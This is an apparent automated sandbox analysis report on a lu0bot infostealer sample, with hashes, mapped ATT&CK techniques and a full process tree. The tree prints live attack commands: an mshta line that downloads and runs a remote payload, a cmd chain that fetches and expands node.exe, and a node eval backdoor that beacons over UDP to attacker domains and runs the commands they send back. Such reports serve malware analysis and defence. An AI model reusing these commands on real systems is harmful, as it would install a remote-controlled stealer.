lu0bot | 22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7

Analysis

max time kernel
150s
max time network
159s
platform
windows10_x64
resource
win10v20210410
submitted
28-06-2021 08:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

usfive_20210628-100147.exe
Size

2KB
MD5

af8ae6c1f2859cc139cd176a6656a855
SHA1

161e2d577b418eaa94bf1959a634956b75d7922b
SHA256

22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7
SHA512

a80672ea1f49ebaeaf5b850377ee346e7953bf6379a79db91b826ba2249a66424b0f1be189351dc86088ff9efd72142a46f6d4bff2c5dc7271a4db22c10bcd1e

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	644	mshta.exe
8	2228	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3716	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3916	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1800	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
2816	ipconfig.exe
812	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1000	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\db7da1a0c7b8ff5a:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:e9cf117b40ad62f04b8f63a546387b73	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3716	node.exe
3716	node.exe
3716	node.exe
3716	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1800	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4092	wmic.exe
Token: SeSecurityPrivilege	4092	wmic.exe
Token: SeTakeOwnershipPrivilege	4092	wmic.exe
Token: SeLoadDriverPrivilege	4092	wmic.exe
Token: SeSystemProfilePrivilege	4092	wmic.exe
Token: SeSystemtimePrivilege	4092	wmic.exe
Token: SeProfSingleProcessPrivilege	4092	wmic.exe
Token: SeIncBasePriorityPrivilege	4092	wmic.exe
Token: SeCreatePagefilePrivilege	4092	wmic.exe
Token: SeBackupPrivilege	4092	wmic.exe
Token: SeRestorePrivilege	4092	wmic.exe
Token: SeShutdownPrivilege	4092	wmic.exe
Token: SeDebugPrivilege	4092	wmic.exe
Token: SeSystemEnvironmentPrivilege	4092	wmic.exe
Token: SeRemoteShutdownPrivilege	4092	wmic.exe
Token: SeUndockPrivilege	4092	wmic.exe
Token: SeManageVolumePrivilege	4092	wmic.exe
Token: 33	4092	wmic.exe
Token: 34	4092	wmic.exe
Token: 35	4092	wmic.exe
Token: 36	4092	wmic.exe
Token: SeIncreaseQuotaPrivilege	4092	wmic.exe
Token: SeSecurityPrivilege	4092	wmic.exe
Token: SeTakeOwnershipPrivilege	4092	wmic.exe
Token: SeLoadDriverPrivilege	4092	wmic.exe
Token: SeSystemProfilePrivilege	4092	wmic.exe
Token: SeSystemtimePrivilege	4092	wmic.exe
Token: SeProfSingleProcessPrivilege	4092	wmic.exe
Token: SeIncBasePriorityPrivilege	4092	wmic.exe
Token: SeCreatePagefilePrivilege	4092	wmic.exe
Token: SeBackupPrivilege	4092	wmic.exe
Token: SeRestorePrivilege	4092	wmic.exe
Token: SeShutdownPrivilege	4092	wmic.exe
Token: SeDebugPrivilege	4092	wmic.exe
Token: SeSystemEnvironmentPrivilege	4092	wmic.exe
Token: SeRemoteShutdownPrivilege	4092	wmic.exe
Token: SeUndockPrivilege	4092	wmic.exe
Token: SeManageVolumePrivilege	4092	wmic.exe
Token: 33	4092	wmic.exe
Token: 34	4092	wmic.exe
Token: 35	4092	wmic.exe
Token: 36	4092	wmic.exe
Token: SeDebugPrivilege	812	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3724 wrote to memory of 644	3724	usfive_20210628-100147.exe	71
PID 3724 wrote to memory of 644	3724	usfive_20210628-100147.exe	71
PID 3724 wrote to memory of 644	3724	usfive_20210628-100147.exe	71
PID 644 wrote to memory of 3920	644	mshta.exe	77
PID 644 wrote to memory of 3920	644	mshta.exe	77
PID 644 wrote to memory of 3920	644	mshta.exe	77
PID 3920 wrote to memory of 2228	3920	cmd.exe	79
PID 3920 wrote to memory of 2228	3920	cmd.exe	79
PID 3920 wrote to memory of 2228	3920	cmd.exe	79
PID 3920 wrote to memory of 1700	3920	cmd.exe	80
PID 3920 wrote to memory of 1700	3920	cmd.exe	80
PID 3920 wrote to memory of 1700	3920	cmd.exe	80
PID 3920 wrote to memory of 1540	3920	cmd.exe	81
PID 3920 wrote to memory of 1540	3920	cmd.exe	81
PID 3920 wrote to memory of 1540	3920	cmd.exe	81
PID 1540 wrote to memory of 3716	1540	cscript.exe	82
PID 1540 wrote to memory of 3716	1540	cscript.exe	82
PID 1540 wrote to memory of 3716	1540	cscript.exe	82
PID 3716 wrote to memory of 3724	3716	node.exe	86
PID 3716 wrote to memory of 3724	3716	node.exe	86
PID 3716 wrote to memory of 3724	3716	node.exe	86
PID 3716 wrote to memory of 3964	3716	node.exe	87
PID 3716 wrote to memory of 3964	3716	node.exe	87
PID 3716 wrote to memory of 3964	3716	node.exe	87
PID 3716 wrote to memory of 3916	3716	node.exe	88
PID 3716 wrote to memory of 3916	3716	node.exe	88
PID 3716 wrote to memory of 3916	3716	node.exe	88
PID 3716 wrote to memory of 2372	3716	node.exe	89
PID 3716 wrote to memory of 2372	3716	node.exe	89
PID 3716 wrote to memory of 2372	3716	node.exe	89
PID 3716 wrote to memory of 3168	3716	node.exe	90
PID 3716 wrote to memory of 3168	3716	node.exe	90
PID 3716 wrote to memory of 3168	3716	node.exe	90
PID 3716 wrote to memory of 1800	3716	node.exe	92
PID 3716 wrote to memory of 1800	3716	node.exe	92
PID 3716 wrote to memory of 1800	3716	node.exe	92
PID 3716 wrote to memory of 4092	3716	node.exe	93
PID 3716 wrote to memory of 4092	3716	node.exe	93
PID 3716 wrote to memory of 4092	3716	node.exe	93
PID 3716 wrote to memory of 2816	3716	node.exe	94
PID 3716 wrote to memory of 2816	3716	node.exe	94
PID 3716 wrote to memory of 2816	3716	node.exe	94
PID 3716 wrote to memory of 3920	3716	node.exe	95
PID 3716 wrote to memory of 3920	3716	node.exe	95
PID 3716 wrote to memory of 3920	3716	node.exe	95
PID 3716 wrote to memory of 812	3716	node.exe	96
PID 3716 wrote to memory of 812	3716	node.exe	96
PID 3716 wrote to memory of 812	3716	node.exe	96
PID 3716 wrote to memory of 1000	3716	node.exe	97
PID 3716 wrote to memory of 1000	3716	node.exe	97
PID 3716 wrote to memory of 1000	3716	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2372	attrib.exe
3168	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210628-100147.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210628-100147.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3724
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();47;y=unescape('%317%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%388').split('~');172;try{x='WinHttp';134;x=new ActiveXObject(x+'.'+x+'Request.5.1');197;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);62;x.send();226;y='ipt.S';39;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};20;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:644
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1624868743391.txt & cscript /nologo /e:jscript get1624868743391.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F2dd5c4985%26b%3D8f537d15" node.cab & expand node.cab node.exe & del get1624868743391.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1624868743391.txt & cscript /nologo /e:jscript get1624868743391.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27dd5c4985%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1624868743391.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3920
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1624868743391.txt "http%3A%2F%2Flu1.asia%2Fhri%2F%3F2dd5c4985%26b%3D8f537d15" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2228
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:1700
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1624868743391.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27dd5c4985%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1540
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27dd5c4985%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27lu0.asia%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3716
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:3724
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:3964
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3916
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:2372
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:3168
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1800
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4092
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:2816
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:3920
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:812
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:1000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3716-125-0x000000002D200000-0x000000002D201000-memory.dmp

Filesize
4KB

Download
memory/3716-130-0x0000000004100000-0x0000000004101000-memory.dmp

Filesize
4KB

Download
memory/3716-128-0x000000000F700000-0x000000000F701000-memory.dmp

Filesize
4KB

Download
memory/3716-127-0x000000002F700000-0x000000002F701000-memory.dmp

Filesize
4KB

Download
memory/3716-126-0x0000000005E00000-0x0000000005E01000-memory.dmp

Filesize
4KB

Download
memory/3716-129-0x000000001F800000-0x000000001F801000-memory.dmp

Filesize
4KB

Download